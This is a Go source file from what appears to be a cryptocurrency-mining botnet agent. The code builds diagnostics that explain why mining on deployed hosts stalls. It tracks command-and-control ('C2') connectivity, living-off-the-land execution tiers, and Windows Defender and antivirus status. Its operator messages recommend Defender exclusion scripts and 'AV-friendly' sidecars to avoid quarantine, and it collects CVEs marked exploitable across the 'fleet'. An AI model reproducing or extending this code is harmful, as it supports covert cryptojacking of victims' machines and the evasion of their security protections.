Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.
335 lines
12 KiB
Go
335 lines
12 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"runtime"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-agent/miner"
|
|
)
|
|
|
|
// MiningDiagnostics is a read-only snapshot of why mining may be idle or blocked.
|
|
type MiningDiagnostics struct {
|
|
GeneratedAt string `json:"generated_at"`
|
|
Platform string `json:"platform"`
|
|
ConfiguredExecution string `json:"configured_execution"`
|
|
ExecutionMode string `json:"execution_mode"`
|
|
ContainerAvailable bool `json:"container_runtime_available"`
|
|
ContainerCLI string `json:"container_runtime_cli,omitempty"`
|
|
ContainerRunning bool `json:"container_running"`
|
|
DockerLoadAvailable bool `json:"docker_load_available"`
|
|
DockerImageTar string `json:"docker_image_tar,omitempty"`
|
|
WSLAvailable bool `json:"wsl_available"`
|
|
WSLDistros []string `json:"wsl_distros,omitempty"`
|
|
WSLRunning bool `json:"wsl_running"`
|
|
HostMiningDisabled bool `json:"host_mining_disabled"`
|
|
C2Connected bool `json:"c2_connected"`
|
|
LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"`
|
|
MiningMode string `json:"mining_mode"`
|
|
Wallet string `json:"wallet,omitempty"`
|
|
PoolHost string `json:"pool_host"`
|
|
PoolPort int `json:"pool_port"`
|
|
InstallDir string `json:"install_dir,omitempty"`
|
|
AVRecommendation string `json:"av_recommendation,omitempty"`
|
|
LikelyBlockers []string `json:"likely_blockers"`
|
|
ActiveMethod string `json:"active_method,omitempty"`
|
|
FailedMethods []struct {
|
|
Method string `json:"method"`
|
|
Reason string `json:"reason"`
|
|
At string `json:"at"`
|
|
} `json:"failed_methods,omitempty"`
|
|
ChainOrder []string `json:"chain_order,omitempty"`
|
|
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
|
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
|
CPU struct {
|
|
RemotePaused bool `json:"remote_paused"`
|
|
ScheduleBlocked bool `json:"schedule_blocked"`
|
|
ResourcesBlocked bool `json:"resources_blocked"`
|
|
HasJob bool `json:"has_job"`
|
|
Hashrate float64 `json:"hashrate_hps"`
|
|
} `json:"cpu"`
|
|
GPU struct {
|
|
Enabled bool `json:"enabled"`
|
|
Active bool `json:"active"`
|
|
Paused bool `json:"paused"`
|
|
Model string `json:"model,omitempty"`
|
|
} `json:"gpu"`
|
|
Defender *struct {
|
|
Enabled *bool `json:"enabled,omitempty"`
|
|
RTP *bool `json:"rtp,omitempty"`
|
|
Products []string `json:"products,omitempty"`
|
|
} `json:"defender,omitempty"`
|
|
|
|
EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"`
|
|
LOTLTier string `json:"lotl_tier,omitempty"`
|
|
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
|
|
TierChainOrder []string `json:"tier_chain_order,omitempty"`
|
|
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
|
|
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
|
AdaptiveStrategy *AdaptiveStrategy `json:"adaptive_strategy,omitempty"`
|
|
StrategyReasoning []StrategyReason `json:"strategy_reasoning,omitempty"`
|
|
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
|
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
|
|
|
|
VulnFindings []struct {
|
|
CVEID string `json:"cve_id"`
|
|
Severity string `json:"severity"`
|
|
Component string `json:"component"`
|
|
Patched bool `json:"patched"`
|
|
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
|
Detail string `json:"detail,omitempty"`
|
|
} `json:"vuln_findings,omitempty"`
|
|
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
|
}
|
|
|
|
func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
|
execMode, containerRT := miner.ResolveExecutionMode(c.cfg)
|
|
remotePaused, scheduleBlocked, resourcesBlocked, hasJob, hps := c.pool.DiagnosticSnapshot()
|
|
|
|
var d MiningDiagnostics
|
|
d.GeneratedAt = time.Now().UTC().Format(time.RFC3339)
|
|
d.Platform = c.cfg.RegistrationPlatform()
|
|
d.ConfiguredExecution = c.cfg.MinerExecution
|
|
d.ExecutionMode = execMode
|
|
d.ContainerAvailable = containerRT.Available
|
|
d.ContainerCLI = containerRT.CLI
|
|
if c.containerMiner != nil {
|
|
d.ContainerRunning = c.containerMiner.Running()
|
|
}
|
|
if tarPath, err := miner.ResolveImageTar(c.cfg); err == nil {
|
|
d.DockerLoadAvailable = containerRT.Available
|
|
d.DockerImageTar = tarPath
|
|
}
|
|
wslRT := miner.WSLDetector()
|
|
d.WSLAvailable = wslRT.Available
|
|
d.WSLDistros = wslRT.Distros
|
|
if c.wslMiner != nil {
|
|
d.WSLRunning = c.wslMiner.Running()
|
|
}
|
|
d.HostMiningDisabled = c.hostMiningDisabled.Load()
|
|
d.C2Connected = c.connected.Load()
|
|
if raw := c.lastJobAt.Load(); raw != nil {
|
|
age := time.Since(raw.(time.Time)).Seconds()
|
|
d.LastJobAgeSec = &age
|
|
}
|
|
d.MiningMode = c.cfg.MiningMode
|
|
d.Wallet = c.cfg.Wallet
|
|
d.PoolHost = c.cfg.PoolHost
|
|
d.PoolPort = c.cfg.PoolPort
|
|
if dir, err := c.cfg.InstallDirectory(); err == nil {
|
|
d.InstallDir = dir
|
|
}
|
|
d.AVRecommendation = miner.AVBlockRecommendation(execMode, containerRT)
|
|
d.EnvironmentProbes = miner.ProbeEnvironment(miner.RuntimeDetector)
|
|
if d.EnvironmentProbes.GPU == false && c.cfg.GPUEnabled {
|
|
d.EnvironmentProbes.GPU = newGPUMiner(c.cfg) != nil
|
|
}
|
|
if p := collectPosture(); p != nil && p.DefenderRTP != nil && *p.DefenderRTP {
|
|
d.EnvironmentProbes.AVBlocksExe = true
|
|
}
|
|
|
|
tierChain := tierChainForConfig(c.cfg, c.miningTierPolicy())
|
|
d.TierChainOrder = make([]string, len(tierChain))
|
|
for i, t := range tierChain {
|
|
d.TierChainOrder[i] = string(t)
|
|
}
|
|
policy := c.miningTierPolicy()
|
|
_, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, policy, c.cfg)
|
|
d.TierChainSkipped = make([]string, len(skipped))
|
|
for i, t := range skipped {
|
|
d.TierChainSkipped[i] = string(t)
|
|
}
|
|
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
|
|
d.AtlasSkips = atlasSkips
|
|
}
|
|
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 {
|
|
copy := strat
|
|
d.AdaptiveStrategy = ©
|
|
d.StrategyReasoning = copy.Reasoning
|
|
}
|
|
|
|
d.CPU.RemotePaused = remotePaused
|
|
d.CPU.ScheduleBlocked = scheduleBlocked
|
|
d.CPU.ResourcesBlocked = resourcesBlocked
|
|
d.CPU.HasJob = hasJob
|
|
d.CPU.Hashrate = hps
|
|
|
|
d.GPU.Enabled = c.cfg.GPUEnabled
|
|
c.mu.Lock()
|
|
gm := c.gpuMiner
|
|
c.mu.Unlock()
|
|
if gm != nil {
|
|
_, active := gm.Stats()
|
|
d.GPU.Active = active
|
|
d.GPU.Model = gm.GPUModel()
|
|
gm.mu.RLock()
|
|
d.GPU.Paused = gm.paused
|
|
gm.mu.RUnlock()
|
|
} else if c.cfg.GPUEnabled {
|
|
d.LikelyBlockers = append(d.LikelyBlockers, "gpu_enabled but no supported GPU miner started (driver missing or AV blocked T-Rex/TRM download)")
|
|
}
|
|
|
|
if p := collectPosture(); p != nil && (p.DefenderEnabled != nil || len(p.AVProducts) > 0) {
|
|
d.Defender = &struct {
|
|
Enabled *bool `json:"enabled,omitempty"`
|
|
RTP *bool `json:"rtp,omitempty"`
|
|
Products []string `json:"products,omitempty"`
|
|
}{
|
|
Enabled: p.DefenderEnabled,
|
|
RTP: p.DefenderRTP,
|
|
Products: p.AVProducts,
|
|
}
|
|
}
|
|
|
|
d.LikelyBlockers = append(d.LikelyBlockers, c.inferMiningBlockers(d)...)
|
|
|
|
if c.miningChain != nil {
|
|
ms := c.miningChain.Status()
|
|
if ms.LOTLTier != "" {
|
|
d.LOTLTier = string(ms.LOTLTier)
|
|
}
|
|
if len(ms.LOTLAttempts) > 0 {
|
|
d.LOTLAttempts = append(d.LOTLAttempts[:0:0], ms.LOTLAttempts...)
|
|
}
|
|
d.WebGPUReady = ms.WebGPUReady
|
|
if c.miningChain.tiers != nil {
|
|
tr := c.miningChain.tiers.Report()
|
|
d.GPUComputeOK = tr.GPUComputeOK
|
|
if d.LOTLTier == "" && tr.ActiveTier != "" {
|
|
d.LOTLTier = string(tr.ActiveTier)
|
|
}
|
|
if len(d.LOTLAttempts) == 0 && len(tr.Attempts) > 0 {
|
|
d.LOTLAttempts = tr.Attempts
|
|
}
|
|
}
|
|
d.ActiveMethod = string(ms.ActiveMethod)
|
|
d.StratumOverlay = ms.StratumOverlay
|
|
d.ChainExhausted = ms.ChainExhausted
|
|
if len(ms.ChainOrder) > 0 {
|
|
d.ChainOrder = make([]string, len(ms.ChainOrder))
|
|
for i, m := range ms.ChainOrder {
|
|
d.ChainOrder[i] = string(m)
|
|
}
|
|
}
|
|
if len(ms.FailedMethods) > 0 {
|
|
d.FailedMethods = make([]struct {
|
|
Method string `json:"method"`
|
|
Reason string `json:"reason"`
|
|
At string `json:"at"`
|
|
}, len(ms.FailedMethods))
|
|
for i, f := range ms.FailedMethods {
|
|
d.FailedMethods[i].Method = string(f.Method)
|
|
d.FailedMethods[i].Reason = f.Reason
|
|
d.FailedMethods[i].At = f.At
|
|
}
|
|
}
|
|
} else {
|
|
d.ChainOrder = make([]string, len(chainOrderForConfig(c.cfg)))
|
|
for i, m := range chainOrderForConfig(c.cfg) {
|
|
d.ChainOrder[i] = string(m)
|
|
}
|
|
}
|
|
|
|
if vr := LastVulnScan(); vr != nil {
|
|
score := vr.RiskScore
|
|
d.VulnRiskScore = &score
|
|
if len(vr.Findings) > 0 {
|
|
d.VulnFindings = make([]struct {
|
|
CVEID string `json:"cve_id"`
|
|
Severity string `json:"severity"`
|
|
Component string `json:"component"`
|
|
Patched bool `json:"patched"`
|
|
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
|
Detail string `json:"detail,omitempty"`
|
|
}, len(vr.Findings))
|
|
for i, f := range vr.Findings {
|
|
d.VulnFindings[i].CVEID = f.CVEID
|
|
d.VulnFindings[i].Severity = f.Severity
|
|
d.VulnFindings[i].Component = f.Component
|
|
d.VulnFindings[i].Patched = f.Patched
|
|
d.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
|
|
d.VulnFindings[i].Detail = f.Detail
|
|
}
|
|
}
|
|
}
|
|
|
|
return d
|
|
}
|
|
|
|
// PrimaryMiningBlockReason returns the best single operator-facing explanation for zero hashrate.
|
|
func PrimaryMiningBlockReason(d MiningDiagnostics) string {
|
|
if len(d.LikelyBlockers) > 0 {
|
|
return d.LikelyBlockers[0]
|
|
}
|
|
if d.CPU.ScheduleBlocked {
|
|
return "mining_mode schedule/idle guard blocking workers"
|
|
}
|
|
if d.ChainExhausted {
|
|
return "mining fallback chain exhausted — all primary methods failed"
|
|
}
|
|
if !d.C2Connected {
|
|
return "waiting for C2 registration"
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string {
|
|
var blockers []string
|
|
if strings.TrimSpace(d.Wallet) == "" {
|
|
blockers = append(blockers, "wallet not configured — set Calibrate wallet and re-forge")
|
|
}
|
|
if strings.TrimSpace(d.PoolHost) == "" {
|
|
blockers = append(blockers, "pool host not configured — set Calibrate pool and re-forge")
|
|
}
|
|
if d.CPU.RemotePaused {
|
|
blockers = append(blockers, "mining paused by remote command or healthy container delegation")
|
|
}
|
|
if d.CPU.ScheduleBlocked {
|
|
blockers = append(blockers, "mining_mode schedule/idle guard blocking workers")
|
|
}
|
|
if d.CPU.ResourcesBlocked {
|
|
blockers = append(blockers, "resource guard: CPU/RAM limits exceeded")
|
|
}
|
|
if !d.C2Connected && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 30) {
|
|
blockers = append(blockers, "no C2 job yet — direct Stratum fallback should start within ~10s if pool reachable")
|
|
}
|
|
if d.C2Connected && !d.CPU.HasJob && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 20) {
|
|
blockers = append(blockers, "C2 connected but no mining job delivered — check server pool proxy")
|
|
}
|
|
if d.CPU.HasJob && d.CPU.Hashrate < 1 && !d.HostMiningDisabled {
|
|
blockers = append(blockers, "job present but hashrate=0 — engine init failure or process throttled/killed by AV")
|
|
}
|
|
if d.HostMiningDisabled && !d.ContainerRunning {
|
|
blockers = append(blockers, "host mining disabled for container mode but container is not running")
|
|
}
|
|
if d.Defender != nil && d.Defender.RTP != nil && *d.Defender.RTP {
|
|
blockers = append(blockers, "Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path")
|
|
}
|
|
if d.GPU.Enabled && !d.GPU.Active && !d.GPU.Paused {
|
|
blockers = append(blockers, "GPU mining configured but subprocess inactive — T-Rex/TRM likely quarantined or download blocked")
|
|
}
|
|
if d.ExecutionMode == miner.ExecutionContainer && !d.ContainerAvailable {
|
|
blockers = append(blockers, "container mode requested but Docker/Podman not detected — falls back to in-process")
|
|
}
|
|
if d.DockerImageTar != "" && !d.ContainerAvailable {
|
|
blockers = append(blockers, "docker_load policy has image tar but Docker/Podman not detected")
|
|
}
|
|
if !d.WSLAvailable && runtime.GOOS == "windows" {
|
|
blockers = append(blockers, "WSL2 not detected — wsl tier skipped (install a distro for AV-friendly Linux sidecar)")
|
|
}
|
|
if d.ChainExhausted {
|
|
blockers = append(blockers, "mining fallback chain exhausted — all primary methods failed")
|
|
}
|
|
if len(d.FailedMethods) > 0 && d.ActiveMethod == "" && !d.StratumOverlay {
|
|
blockers = append(blockers, "cascade failures recorded — check failed_methods in diagnostics JSON")
|
|
}
|
|
return blockers
|
|
}
|
|
|
|
func (c *AgentClient) miningDiagnosticsJSON() string {
|
|
d := c.collectMiningDiagnostics()
|
|
b, _ := json.MarshalIndent(d, "", " ")
|
|
return string(b)
|
|
}
|